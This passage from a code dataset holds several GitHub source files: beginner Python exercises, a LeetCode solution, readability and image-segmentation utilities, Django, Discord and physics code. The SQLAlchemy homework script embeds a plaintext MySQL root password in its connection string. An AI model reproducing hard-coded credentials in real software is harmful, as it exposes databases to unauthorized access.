합니다. 만약에 사용자가 14,2처럼 첫번째 수를 더 크게하거나 2,2처럼 두 숫자가 같게 입력하면 오류라고 출력합니다.\n\n# 첫번째 수가 두번째수보다 같거나 크면\nprint(\"오류\")\n\n자연스럽게 첫번째 수가 15보다 같거나 더 커도 안되겠죠? 그럴경우 역시 오류를 출력합니다.\n\"\"\"\ntext = input()\n\nstart = int(text.split(',')[0])\nend = int(text.split(',')[1])\n\nstar = start\nfor i in range(end) :\n if start >= end or start >= 15 : \n print('오류')\n break\n print('*' * star)\n star = star + 1\n if star > end :\n break\n elif star > 15 :\n break\n\n\n\"\"\"\n겹치는 구간 찾기\n\n수직선 상에 A 구간과 B 구간이 있습니다.\n\n예를들어 A 구간은 3 이상 7 이하에 해당하며, B 구간은 5 이상 9 이하에 해당한다고 가정합니다.\n\n그렇��면 5 이상 7 이하의 구간은 A 구간이면서 동시에 B 구간이 됩니다.\n\n위와 같이, 두 구간의 범위가 주어졌을 때 두 구간이 겹치는 범위를 출력하세요.\n\n두 구간이 겹치지 않는 경우는 별도로 처리해야 합니다.\n\n\n지시사항\n\n1. 네 줄에 걸쳐 0이상의 정수를 입력 받으세요.\n\n첫 번째 줄에는 구간 A의 최솟값이 입력됩니다.\n두 번째 줄에는 구간 A의 최댓값이 입력됩니다\n세 번째 줄에는 구간 B의 최솟값이 입력됩니다\n네 번째 줄에는 구간 B의 최댓값이 입력됩니다.\n각 구간을 나타내는 최솟값과 최댓값은 항상 정수입니다.\n\n2. 구간 A와 B, 두 구간에 겹치는 부분의 최솟값과 최댓값을 공백으로 구분하여 출력하세요.\n\n최솟값과 최댓값이 동일한 경우 해당 구간은 겹치는 구간에 포함됩니다.\n만약 두 구간이 겹치지 않는다면 X를 출력해 주세요.\n\"\"\"\nmin_a = int(input())\nmax_a = int(input())\nmin_b = int(input())\nmax_b = int(input())\n\n# a의 값들과 b의 값들 빼주기\n\na = min_a\na_list = []\nwhile True :\n a_list.append(a)\n a = a + 1\n if a > max_a :\n break\n\nb = min_b\nb_list = []\nwhile True :\n b_list.append(b)\n b = b + 1\n if b > max_b :\n break\n\n# a_list와 b_list의 같은값 빼주기\n\nab_list = []\nfor i in a_list :\n for j in b_list :\n if i == j :\n ab_list.append(i)\n\nif ab_list == [] :\n print('X')\nelse :\n print(min(ab_list), max(ab_list))","repo_name":"2wisdom/elice-free-track","sub_path":"practice2.py","file_name":"practice2.py","file_ext":"py","file_size_in_byte":13525,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"29626737157","text":"#\n# @lc app=leetcode id=84 lang=python\n#\n# [84] Largest Rectangle in Histogram\n#\n\n# @lc code=start\nclass Solution(object):\n def largestRectangleArea(self, heights):\n \"\"\"\n :type heights: List[int]\n :rtype: int\n \"\"\"\n stack = [-1] # 需要-1处理栈中只有1个数且被pop的情况\n heights.append(0) # 最后加0可以确保数组中均被处理\n ans = 0\n for i, h in enumerate(heights):\n while len(stack) > 1 and h < heights[stack[-1]]: # Note len>1!\n pre = stack.pop() # index\n dist = i - stack[-1] - 1 # Note not idx-pre, idx-stack[-1]\n ans = max(ans, heights[pre] * dist)\n stack.append(i)\n heights.pop(0) # Note 最好还是加上!\n return ans\n\n # def largestRectangleArea(self, heights):\n # stack = [-1] # 需要-1处理栈中只有1个数且被pop的情况\n # # heights.append(0) # 最后加0可以确保数组中均被处理\n # area = 0\n # for idx, item in enumerate(heights):\n # while len(stack) > 1 and item < heights[stack[-1]]:\n # area = max(area, heights[stack.pop()] * (idx - stack[-1] - 1) )\n # stack.append(idx)\n # while len(stack) > 1: # 不用尾sentinel的写法\n # area = max(area, heights[stack.pop()] * (len(heights) - stack[-1] - 1))\n # return area\n \nif __name__ == '__main__':\n \"\"\"\n 题设: \n 给定n个非负整数,用来表示柱状图中各个柱子的高度。\n 求在该柱状图中,能够勾勒出来的矩形的最大面积。\n 解法1: 单调栈\n 只想到了如下理解方式:\n 分别考虑 完整包含第i个矩形的最大面积, \n 最终解是i个值中的最大值.\n 面积的计算: 延伸到两边第一个小于第i个巨型高度的位置.\n 优秀图解: \n https://blog.csdn.net/Zolewit/article/details/88863970\n tricks:\n 实质上需要两边+0, 操作上: \n 1. stack最前面添加一个-1, 处理第一个数被pop的情况\n 2. heights最后加个0, 确保数组均被处理.\n 解法2: \n 没有其他更好解法, 写一个不用尾sentinel\n \"\"\"\n s = Solution()\n print(s.largestRectangleArea([2,1,5,6,2,3])) \n# @lc code=end\n\n","repo_name":"zhch-sun/leetcode_szc","sub_path":"84.largest-rectangle-in-histogram.py","file_name":"84.largest-rectangle-in-histogram.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"27983453662","text":"# flesch.py\n\n# test sentence\n#sentence = \"Miles runs the voodoo down.\"\n\ndef to_cv(word):\n \"\"\" Convert word to a cv-list.\n Each vowel of word is replaced by a \"v\" in the cv-list, and each\n non-vowel is replaced by a 'c'.\n \"\"\"\n cv_list = []\n for ch in word:\n if ch in 'aeiou':\n cv_list.append('v')\n else:\n cv_list.append('c')\n return cv_list\n\ndef count_cv(cv):\n \"\"\" Count the # of times \"c\", \"v\" occur consecutively in cv.\n \"\"\"\n count = 0\n i = 0\n while i < len(cv) - 1: # the -1 is important!\n if cv[i] == 'c' and cv[i+1] == 'v':\n count += 1\n i += 1\n return count\n\ndef count_vowel_groups(word):\n \"\"\" Return the # of vowel-groups in word.\n \"\"\"\n cv = to_cv(word)\n count = count_cv(cv)\n if cv[0] == 'v':\n count += 1\n return count\n\ndef count_syllables_in_word(word):\n vgc = count_vowel_groups(word)\n if vgc == 0:\n return 1\n else:\n return vgc\n\ndef count_syllables(text):\n \"\"\" Returns total # of syllables in all words of text.\n \"\"\"\n words = text.split()\n total_syllables = 0\n for w in words:\n total_syllables += count_syllables_in_word(w)\n return total_syllables\n\ndef count_sentences(s):\n return s.count('.') + s.count('!') + s.count('?')\n\ndef count_words(s):\n return len(s.split())\n\n\ndef summarize(s):\n try:\n text = open(s, 'r').read().lower()\n #print 'Successfully opened ' + s\n except IOError:\n text = s\n\n # get text stats\n sy_count = count_syllables(text)\n w_count = count_words(text)\n sent_count = count_sentences(text)\n\n # FRES: Flesch Readability Ease score\n if sent_count == 0:\n sent_count = -99\n\n fres = 206.876 - 1.015 * (float(w_count)/sent_count) - 84.6 * (float(sy_count)/w_count)\n\n # Flesch-Kincaid Grade Level\n fkgl = 0.39 * (float(w_count)/sent_count) + 11.8 * (float(sy_count)/w_count) - 11.59\n\n # print readability report\n# print\n## # print 'Readability report for ' + s\n\n# print 'Total # syllables: ' + str(sy_count)\n# print 'Total # words: ' + str(w_count)\n# print 'Total # sentences: ' + str(sent_count)\n# print 'Flesch reading ease score (FRES): ' + str(fres)\n# print 'Flesch-Kincaid grade level: ' + str(fkgl)\n\n #return str(sy_count)+' '+str(w_count)+' '+str(sent_count)+' '+str(fres)+' '+ str(fkgl)\n return (sy_count, w_count, sent_count, fres, fkgl)\n","repo_name":"jradavenport/issues-2016","sub_path":"flesch.py","file_name":"flesch.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"41859283508","text":"import numpy as np\nimport cv2 as cv\n\ndef segHand(imInput):\n\t# Filter original \n\timFiltered = cv.GaussianBlur(imInput, (3,3), 10)\n\t# cv.imshow('Blurred', imFiltered)\n\n\t# Calculate sharper image\n\tlapKernel = np.array([[1, 1, 1], [1, -8, 1], [1, 1, 1]])\n\timLaplacian = cv.filter2D(imFiltered, cv.CV_32F, lapKernel) # Apply laplacian filter\n\n\timSharp = np.float32(imInput) - imLaplacian\n\timSharp = np.uint8(np.clip(imSharp, 0, 255) )\n\t# cv.imshow('Sharp', imSharp)\n\n\t# Otsu Threshold\n\t_, imThreshold = cv.threshold(imSharp, 0, 255, cv.THRESH_BINARY + cv.THRESH_OTSU)\n\n\t# Opening to remove noise\n\tSE = cv.getStructuringElement(cv.MORPH_ELLIPSE, (5,5) ) \n\timErode = cv.erode(imThreshold, SE)\n\timOpening = cv.dilate(imErode, SE)\n\n\t# Distance transformation\n\timDist = cv.distanceTransform(imOpening, cv.DIST_L2, cv.DIST_MASK_3)\n\timDist = np.uint8(cv.normalize(imDist, imDist, 0, 255, cv.NORM_MINMAX))\n\t# cv.imshow('Distance', imDist)\n\n\t# Threshold of distance\n\tthreshVal, _ = cv.threshold(imDist, 0, 255, cv.THRESH_BINARY + cv.THRESH_OTSU)\n\t_, imDistThresh = cv.threshold(imDist, round(2.5*threshVal), 255, cv.THRESH_BINARY)\n\t# cv.imshow('Distance Threshold', imDistThresh)\n\t# print(\"Distance threshold: \", round(2.5*threshVal))\n\n\t# Background marker\n\tSE = cv.getStructuringElement(cv.MORPH_ELLIPSE, (15,15))\n\textMarker = cv.dilate(imThreshold, SE)\n\textMarker = 255 - extMarker\n\n\t# Foreground markers\n\tcontours, _ = cv.findContours(imDistThresh, cv.RETR_EXTERNAL, cv.CHAIN_APPROX_SIMPLE)\n\tmarkers = np.zeros(imDistThresh.shape, dtype=np.int32)\n\tfor i in range(len(contours)):\n\t cv.drawContours(markers, contours, i, (i+1), -1)\n\n\t# print(np.amax(markers))\n\n\t# All markers\n\tmarkers += extMarker\n\n\tcv.watershed(cv.cvtColor(imFiltered, cv.COLOR_GRAY2BGR), markers)\n\n\t# cv.imshow('Markers', np.uint8(markers) )\n\n\treturn np.uint8(markers)\n\t# return imOpening","repo_name":"matorsoni/Hand-Tracking","sub_path":"segHand.py","file_name":"segHand.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"34947635167","text":"import sqlalchemy as db\n\nmeta = db.MetaData()\nuser = db.Table('db_people', meta,\n db.Column('Name', db.Text, nullable=True),\n db.Column('Surname', db.Text, nullable=True),\n db.Column('age', db.Integer, nullable=True))\n\nprint(user.c)\n\nengine = db.create_engine('mysql+mysqlconnector://root:DfbDTuZG1DfbDTuZG1@localhost:3306/new_db_people')\nmeta.create_all(engine)\nconnection = engine.connect()\n\nage = int(input('Введите возраст: '))\nadd_query = user.insert().values(Name='Alesya', Surname='Laykovich', age=age)\nconnection.execute(add_query)\nconnection.commit()\n\nselect_all_query = db.select(user)\nresult = connection.execute(select_all_query)\nfor i in result:\n string = ', '.join(str(j) for j in i)\n print(string)\nconnection.close()\n","repo_name":"Alesya-Laykovich/alesya_laykovich_homeworks","sub_path":"homework_22/task_01_01.py","file_name":"task_01_01.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"13003295738","text":"\ndef change(a, b):\n q = [[a, 0]]\n\n while q:\n cur = q.pop(0)\n if cur[0] == b:\n return cur[1] + 1\n if cur[0] * 2 <= b:\n q.append([cur[0] * 2, cur[1] + 1])\n if cur[0] * 10 + 1 <= b:\n q.append([cur[0] * 10 + 1, cur[1] + 1])\n\n return -1\n\na, b = map(int, input().split())\nprint(change(a, b))\n\n\n# 틀린 풀이 !\n# def change(a, b, ans, cnt):\n# global min_cnt\n#\n# if ans == b:\n# if cnt < min_cnt:\n# min_cnt = cnt\n#\n# elif ans > b:\n# return\n#\n# elif ans < b:\n#\n# ans *= 2\n# cnt += 1\n# change(a, b, ans, cnt)\n# ans = ans * 10 + 1\n# cnt += 1\n# change(a, b, ans, cnt)\n#\n#\n# a, b = map(int, input().split())\n# min_cnt = 987654321\n# change(a, b, a, 0)\n# if min_cnt == 987654321:\n# print(-1)\n# else:\n# print(min_cnt + 1)\n\n\n\n","repo_name":"hyeinkim1305/Algorithm","sub_path":"Silver/BOJ_16953.py","file_name":"BOJ_16953.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"25698793622","text":"\"\"\"\nauthor: Jordan Prechac\nCreated: 3 Feb, 2020\n\"\"\"\n\nfrom django.utils.translation import gettext_lazy as _\nfrom jet.dashboard import modules\nfrom jet.dashboard.dashboard import Dashboard, AppIndexDashboard\n\nfrom revibe._helpers.const import API_DOCS_LINK\n\n# -----------------------------------------------------------------------------\n\nclass CustomIndexDashboard(Dashboard):\n columns = 3\n\n support_list = modules.LinkList(\n _('Support'),\n children=[\n {\n 'title': _('Django documentation'),\n 'url': 'http://docs.djangoproject.com/',\n 'external': True,\n },\n {\n 'title': _('API Documentation'),\n 'url': API_DOCS_LINK,\n 'external': True,\n },\n ],\n column=2,\n order=0\n )\n\n recent_actions = modules.RecentActions(\n _('Recent Actions'),\n 10,\n column=2,\n order=0\n )\n\n def init_with_context(self, context):\n self.available_children.append(self.support_list)\n\n self.children.append(modules.AppList(\n _('Apps'),\n exclude=(\n 'oauth2_provider.grants',\n 'oauth2_provider.applications',\n 'rest_auth.*',\n 'authtoken.*',\n ),\n column=1,\n order=0\n ))\n\n self.available_children.append(self.recent_actions)\n","repo_name":"Revibe-Music/core-services","sub_path":"revibe/dashboard.py","file_name":"dashboard.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"90"} +{"seq_id":"23685909820","text":"import os\nimport traceback\n\nimport discord\nfrom discord.ext import commands\nfrom pathlib import Path\n\nfrom config import Config\nimport extentions\n\n\n# Botクラス\nclass Lunalu(commands.Bot):\n def __init__(self):\n super().__init__(\n command_prefix=Config.get_prefix(),\n fetch_offline_members=False\n )\n\n # 拡張機能の読み込み\n for extention in extentions.extentions:\n try:\n self.load_extension(f'cogs.{extention}')\n except Exception:\n traceback.print_exc()\n\n # 起動時のイベント\n async def on_ready(self):\n print(f'Ready: {self.user} (ID: {self.user.id})')\n activity = discord.Game(f'({self.command_prefix}) VC読み上げ')\n await self.change_presence(activity=activity)\n\n # Botを起動させる\n def run(self):\n super().run(Config.get_token())\n\n\n# Botの作成\nbot = Lunalu()\n\n# Botの起動\nif __name__ == '__main__':\n bot.run()\n","repo_name":"hetima333/yomiage-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"13426954600","text":"\"\"\"\nfile: collapse.py\nauthor: @jalbers\n\"\"\"\n\nfrom sys import stdin, stdout\nfrom collections import deque\n\nclass Island:\n\n def __init__(self, n):\n self.n = n\n self.graph = {x:[] for x in range(n)}\n self.t = [0] * n # min sum of weights to node needed to stay alive\n self.current = [0] * n # sum of edges to each node\n self.alive = [True] * n # keep track of nodes that are alive\n self.visited = [False] * n # keep track of nodes that have been visited\n self.alive[0] = False\n\n def connect(self, x, y, val):\n self.graph[x].append((y, val))\n self.current[y] += val\n\n def dfs(self):\n next = deque()\n v = 0\n while(True):\n self.visited[v] = True\n for node, val in self.graph[v]: # for each node where edge from v to node\n self.current[node] -= val # subtract weight of edge to node from current sum\n if self.current[node] < self.t[node]:\n self.alive[node] = False\n if self.visited[node] == False:\n next.append(node)\n if next:\n v = next.pop()\n else:\n break\n\n def find_ans(self):\n return(sum(self.alive))\n\ndef main():\n n = int(stdin.readline())\n prob = Island(n)\n for i in range(n):\n line = [int(x) for x in stdin.readline().rstrip().split()]\n prob.t[i] = line[0]\n for j in range(line[1]):\n prob.connect(line[j*2 + 2]-1, i, line[j*2 + 3])\n prob.dfs()\n stdout.write(str(prob.find_ans()))\n\nif __name__ == \"__main__\":\n main()\n ","repo_name":"jgalbers12/CompetitiveProgramming2022","sub_path":"collapse/collapse.py","file_name":"collapse.py","file_ext":"py","file_size_in_byte":1636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"90"} +{"seq_id":"72753544298","text":"from timeit import default_timer\nimport functools\nfrom copy import copy\nimport logging\n\nclass Timer(object):\n \"\"\"\n Differences with the PHP version\n\n =========================== =========================\n PHP Python\n =========================== =========================\n pinba_timer_data_merge() not applicabled use instance.data\n pinba_timer_data_replace() not applicabled use instance.data\n pinba_timer_get_info() not implemented\n =========================== =========================\n\n \"\"\"\n\n __slots__ = ('tags', 'data', '_start', 'elapsed', 'parent')\n\n def __init__(self, tags, parent=None):\n \"\"\"\n Tags values can be any scalar, mapping, sequence or callable.\n In case of a callable, redered value must be a sequence.\n\n :param tags: each values can be any scalar, mapping, sequence or\n callable. In case of a callable, rendered value must\n be a sequence.\n \"\"\"\n self.tags = dict(tags)\n self.parent = parent\n self.data = None\n\n # timer\n self.elapsed = None\n self._start = None\n\n\n @property\n def started(self):\n \"\"\"Tell if timer is started\"\"\"\n return bool(self._start)\n\n def delete(self):\n \"\"\"Discards timer from parent\n \"\"\"\n if self.parent:\n self.parent.timers.discard(self)\n\n def clone(self):\n \"\"\"Clones timer\n \"\"\"\n instance = copy(self)\n instance._start = None\n instance.elapsed = None\n\n if self.parent:\n self.parent.timers.add(instance)\n return instance\n\n def start(self):\n \"\"\"Starts timer\"\"\"\n if self.started:\n raise RuntimeError('Already started')\n self._start = default_timer()\n return self\n\n def stop(self):\n \"\"\"Stops timer\"\"\"\n if not self.started:\n raise RuntimeError('Not started')\n self.elapsed = default_timer() - self._start\n self._start = None\n return self\n\n def __enter__(self):\n \"\"\"Acts as a context manager.\n Automatically starts timer\n \"\"\"\n if not self.started:\n self.start()\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n \"\"\"Closes context manager.\n Automatically stops timer\n \"\"\"\n if self.started:\n self.stop()\n\n def __call__(self, func):\n \"\"\"Acts as a decorator.\n Automatically starts and stops timer's clone.\n Example::\n\n @pynba.timer(foo=bar)\n def function_to_be_timed(self):\n pass\n \"\"\"\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n with self.clone():\n response = func(*args, **kwargs)\n return response\n return wrapper\n\n def __repr__(self):\n label, period = '', ''\n if self._start:\n label = ' started:'\n period = self._start\n elif self.elapsed:\n label = ' elapsed:'\n period = self.elapsed\n\n return '<{0}({1}){2}{3}>'.format(\n self.__class__.__name__,\n self.tags,\n label, period)\n\n\nclass DataCollector(object):\n \"\"\"\n This is the main data container.\n\n :param scriptname: the current scriptname\n :param hostname: the current hostname\n\n Differences with the PHP version\n\n =========================== =========================\n PHP Python\n =========================== =========================\n pinba_get_info() not applicabled while the current\n instance data are already exposed.\n pinba_script_name_set() self.scriptname\n pinba_hostname_set() not implemented, use hostname\n pinba_timers_stop() self.stop()\n pinba_timer_start() self.timer\n =========================== =========================\n\n \"\"\"\n __slots__ = ('enabled', 'timers', 'scriptname', 'hostname',\n '_start', 'elapsed', 'document_size', 'memory_peak')\n\n def __init__(self, scriptname=None, hostname=None):\n self.enabled = True\n self.timers = set()\n self.scriptname = scriptname\n self.hostname = hostname\n self._start = None\n self.elapsed = None\n\n #: You can use this placeholder to store the real document size\n self.document_size = None\n #: You can use this placeholder to store the memory peak\n self.memory_peak = None\n\n @property\n def started(self):\n \"\"\"Tells if is started\"\"\"\n return bool(self._start)\n\n def start(self):\n \"\"\"Starts\"\"\"\n if self._start:\n raise RuntimeError('Already started')\n self._start = default_timer()\n\n def stop(self):\n \"\"\"Stops current elapsed time and every attached timers.\n \"\"\"\n if not self._start:\n raise RuntimeError('Not started')\n self.elapsed = default_timer() - self._start\n self._start = None\n for timer in self.timers:\n if timer.started:\n timer.stop()\n\n def timer(self, **tags):\n \"\"\"Factory new timer.\n \"\"\"\n timer = Timer(tags, self)\n self.timers.add(timer)\n\n return timer\n\n def flush(self):\n \"\"\"Flushs.\n \"\"\"\n logging.debug('flush', extra={\n 'timers': self.timers,\n 'elapsed': self.elapsed,\n })\n\n self.elapsed = None\n self._start = default_timer()\n self.timers.clear()\n\n","repo_name":"bobuss/pynba","sub_path":"src/iscool_e/pynba/collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":5622,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"4491447021","text":"import easyargs\nimport nltk.stem as stem\nimport os.path\n\ndef stemmer(text):\n stemmer = stem.PorterStemmer(\"NLTK_EXTENSIONS\")\n stemmed_tokens = [stemmer.stem(token) for token in text.split()]\n return stemmed_tokens\n\n@easyargs\ndef main(infile):\n if os.path.isfile(infile):\n print(f\"Loading text from file {infile}...\\n\")\n with open(infile,'r') as f:\n text = f.read()\n else:\n print(f\"Running stemmer on input word\")\n text = infile\n print(f\"=============\\n{text}\\n=============\\n\\n\")\n\n stemmed_tokens = stemmer(text)\n\n print(\" \".join(stemmed_tokens))\n\n outfile = infile.split(\".\")[0] + \"-stemmed.txt\"\n\n with open(outfile,'w') as f:\n f.write(\" \".join(stemmed_tokens))\n\n return None\n \nif __name__ == '__main__':\n main()","repo_name":"IainStyles/ml-ida-2020","sub_path":"stemmer.py","file_name":"stemmer.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"90"} +{"seq_id":"71694982697","text":"import numpy as np\nimport numpy.linalg as LA\nimport scipy.linalg as sLA\nfrom .selfe_cython import d_eigendecomposition_fast, z_eigendecomposition_fast, d_decimation_fast, z_decimation_fast\n\n\nclass SelfEnergy():\n '''\n Class for constructing the self energy of a 1d lead.\n '''\n\n def __init__(self, Hlist, idx):\n '''\n Intialise all important parameters for the self-energy calculation.\n If the calculation is done with the 'disjoined' argument it yields the self-enery\n of the lead without considerations about the scattering region.\n\n If the calculation is done with the 'attach' argument the self-energy is returned with the\n right format and index reording to add it to the scattering region.\n\n # Function parameters:\n\n *Hlist Lead Hamiltonian\n\n idx 0 is left lead, 1 is right lead\n '''\n\n if idx == 0:\n self.M = np.ascontiguousarray(Hlist[0]) # Onsite matrix\n self.T = np.ascontiguousarray(Hlist[1]) # Next hopping slice matrix\n self.T_t = np.ascontiguousarray(self.T.T.conjugate()) # Adjoint of hopping matrix\n if idx == 1:\n self.M = np.ascontiguousarray(Hlist[0])\n self.T_t = np.ascontiguousarray(Hlist[1])\n self.T = np.ascontiguousarray(self.T_t.T.conjugate())\n\n self.hsize = np.size(self.M, axis=0)\n\n def __quad_mat_construct(self):\n '''\n Private method constructing the relevant matrices for the general eigenproblem.\n '''\n shape = (self.hsize, self.hsize)\n\n # Construct top + bottom row of left matrix in quadratic eigenproblem\n topr = np.concatenate((np.zeros(shape), np.eye(shape[0])), axis=1)\n botr = np.concatenate((-1*self.T_t, self.ene*np.eye(shape[0])-self.M), axis=1)\n\n # Left matrix of quadratic eigenproblem\n Q_l = np.concatenate((topr, botr), axis=0)\n\n # Construct top + bottom row of right matrix in quadratic eigenproblem\n topr = np.concatenate((np.eye(shape[0]), np.zeros(shape)), axis=1)\n botr = np.concatenate((np.zeros(shape), self.T), axis=1)\n\n # Right matrix of quadratic eigenproblem\n Q_r = np.concatenate((topr, botr), axis=0)\n\n return Q_l, Q_r\n\n def __general_eig_solver(self, Q_l, Q_r):\n '''\n Solver for the general eigenproblem.\n '''\n eig, eigv = sLA.eig(Q_l, b=Q_r, left=False, right=True, overwrite_a=True, overwrite_b=True, check_finite=False)\n\n # Throw away bottom half of each eigenvector\n # and renormalise to top half\n eigv = eigv[:self.hsize]\n eigv = eigv / np.linalg.norm(eigv, axis=0)\n\n return eig, eigv\n\n def __mode_filter(self, eig, eigv):\n '''\n Method finding the modes that lie inside the integration circle of the\n complex integral of the Greens function.\n '''\n\n # Find eigenvalues and eigenvectors with abs <= 1\n condition = (np.absolute(eig) < 1 + 10e-10)\n eig = eig[condition]\n eigv = eigv[:, condition]\n\n # Find propagating modes\n condition = np.isclose(np.absolute(eig), 1, rtol=0, atol=1e-10)\n prop_eig = eig[condition]\n prop_eigv = eigv[:, condition]\n\n # Find evanescent modes\n eva_eig = np.extract(np.logical_not(condition), eig)\n eva_eigv = eigv[:, np.logical_not(condition)]\n\n # Find degeneracies in the collection of propagating modes\n if(prop_eig.size != 0):\n comp = self.__degeneracy_checker(prop_eig)\n prop_eig, prop_eigv = self.__velocity_checker(prop_eig, prop_eigv, comp)\n\n # Put together evanescent and propagating solutions\n # inside the integration circle\n eig = np.concatenate((eva_eig, prop_eig))\n eigv = np.concatenate((eva_eigv, prop_eigv), axis=1)\n return eig, eigv\n\n def __degeneracy_checker(self, prop_eig):\n '''\n Method checking for degenerate modes in the collection of propagating modes.\n '''\n eig_r = np.real(prop_eig)\n eig_i = np.imag(prop_eig)\n\n # Vertically stacked lists of eigenvalues\n Eig_r = np.repeat(eig_r[:, np.newaxis], len(eig_r), axis=1)\n Eig_i = np.repeat(eig_i[:, np.newaxis], len(eig_i), axis=1)\n\n # Compare every element to all other elements\n comp_r = np.isclose(eig_r, Eig_r, rtol=0, atol=1e-10)\n comp_i = np.isclose(eig_i, Eig_i, rtol=0, atol=1e-10)\n\n # Eigenvalues where imaginary and real part are equal\n comp = np.logical_and(comp_r, comp_i)\n\n if(np.count_nonzero(comp) == len(prop_eig)):\n # No degeneracie -> directly give matrix\n return comp\n else:\n # Remove duplicate rows for degeneracies\n b = np.ascontiguousarray(comp).view(np.dtype((np.void, comp.dtype.itemsize * comp.shape[1])))\n _, idx = np.unique(b, return_index=True)\n return comp[idx][::-1]\n\n def __velocity_checker(self, prop_eig, prop_eigv, comp):\n '''\n Method calculating the velocity of propagating modes\n '''\n eig_result = []\n eigv_result = []\n for comp_row in comp:\n # Pick all modes belonging to one specific eigenvalue\n eig_val = prop_eig[comp_row]\n eig_vec = prop_eigv[:, comp_row]\n\n # Velocity operator with specific eigenvalue\n V = 1j*(self.T * eig_val[0] - self.T_t * eig_val[0].conj())\n V = np.dot(V, eig_vec)\n V = np.dot(eig_vec.T.conjugate(), V)\n\n# This velocity operator also works. Not sure why and when it should not work\n# V2 = self.T * eig_val[0]\n# V2 = np.dot(V2, eig_vec)\n# V2 = np.dot(eig_vec.T.conjugate(), V2)\n# V2 = -2*np.imag(V2)\n\n # For degenerate modes V is a matrix for non-degenerate ones a scalar\n if(np.shape(V) == (1, 1) and np.real(V) > 0):\n # Append right going mode\n eig_result.append(eig_val)\n eigv_result.append(eig_vec)\n elif(np.shape(V) != (1, 1)):\n # Here we need to diagonalise the degenerate subspace\n vel, subeigv = LA.eigh(V)\n\n # Rotate the eigenvectors to decouple them\n eig_vec = np.dot(eig_vec, subeigv)\n\n # Check for right going modes\n subcomp = vel > 0\n\n # Append right going modes\n eig_result.append(eig_val[subcomp])\n eigv_result.append(eig_vec[:, subcomp])\n\n return np.concatenate(eig_result), np.concatenate(eigv_result, axis=1)\n\n def eigendecomposition(self, E):\n '''\n Calculates the self energy of the lead via the eigendecomposition method.\n '''\n self.ene = E\n\n # Construct and solve the general eigenproblem\n Q_l, Q_r = self.__quad_mat_construct()\n eig, eigv = self.__general_eig_solver(Q_l, Q_r)\n\n # Find evanescent modes and prop. modes with positive velocity\n eig, eigv = self.__mode_filter(eig, eigv)\n eig = np.diag(eig)\n eigv_inv = LA.inv(eigv)\n\n # Self energy of the lead\n sigma = np.dot(np.dot(self.T, eigv), np.dot(eig, eigv_inv))\n return sigma\n\n def decimation(self, E, iterations, eta):\n '''\n Calculates the self energy of the lead via the decimation technique.\n '''\n self.ene = E\n mbuff = np.copy(self.M)\n mbuff.flat[::self.hsize + 1] -= E + 1j * eta\n sigma = np.zeros((self.hsize, self.hsize), dtype=complex)\n for i in range(iterations):\n green = LA.inv(-mbuff - sigma)\n sigma = np.dot(self.T, np.dot(green, self.T_t))\n\n return sigma\n\n def eigendecomposition_fast(self, E):\n sigma = np.zeros((self.hsize, self.hsize), dtype=complex)\n M = self.M\n T = self.T\n T_t = self.T_t\n\n if (self.M.dtype == np.complex or self.T.dtype == np.complex):\n z_eigendecomposition_fast(self.hsize, M.astype(np.complex), T.astype(np.complex),\n T_t.astype(np.complex), E, sigma)\n else:\n d_eigendecomposition_fast(self.hsize, M, T, T_t, E, sigma)\n\n return sigma\n\n def decimation_fast(self, E, iters, eta):\n sigma = np.empty((self.hsize, self.hsize), dtype=complex)\n M = self.M\n T = self.T\n T_t = self.T_t\n\n if (self.M.dtype == np.complex or self.T.dtype == np.complex):\n z_decimation_fast(self.hsize, M.astype(np.complex), T.astype(np.complex), T_t.astype(np.complex), E, iters,\n eta, sigma)\n else:\n d_decimation_fast(self.hsize, M, T, T_t, E, iters, eta, sigma)\n","repo_name":"ccmt-regensburg/tbtranss","sub_path":"tbtranss/green/self_energy.py","file_name":"self_energy.py","file_ext":"py","file_size_in_byte":8840,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"90"} +{"seq_id":"36674052954","text":"from django.urls import reverse_lazy\nfrom django.utils.translation import gettext as _\nfrom django.db import models\n\nfrom utils.models import CommonAbstractModel\n\nfrom imagekit.models import ImageSpecField\nfrom imagekit.processors import ResizeToFill\n\n\nclass Position(models.Model):\n title = models.CharField(\n max_length=255,\n verbose_name=_(u'Название')\n )\n description = models.TextField(\n verbose_name=_(u'Описание')\n )\n\n @staticmethod\n def get_absolute_url():\n return reverse_lazy('staffer:position')\n\n def __str__(self):\n return self.title\n\n class Meta:\n ordering = ['id']\n verbose_name = _(u'Должность')\n verbose_name_plural = _(u'Должности')\n\n\nclass Staffer(CommonAbstractModel):\n MASTER_FIRED = (\n (True, _(u'Уволен')),\n (False, _(u'Работает'))\n )\n\n full_name = models.CharField(\n max_length=255,\n verbose_name=_(u'Имя')\n )\n avatar = models.ImageField(\n upload_to='staffer',\n verbose_name=_(u'Аватар'),\n null=True,\n blank=True\n )\n avatar_thumbnail = ImageSpecField(\n source='avatar',\n processors=[ResizeToFill(100, 100)],\n format='JPEG'\n )\n position = models.ForeignKey(\n 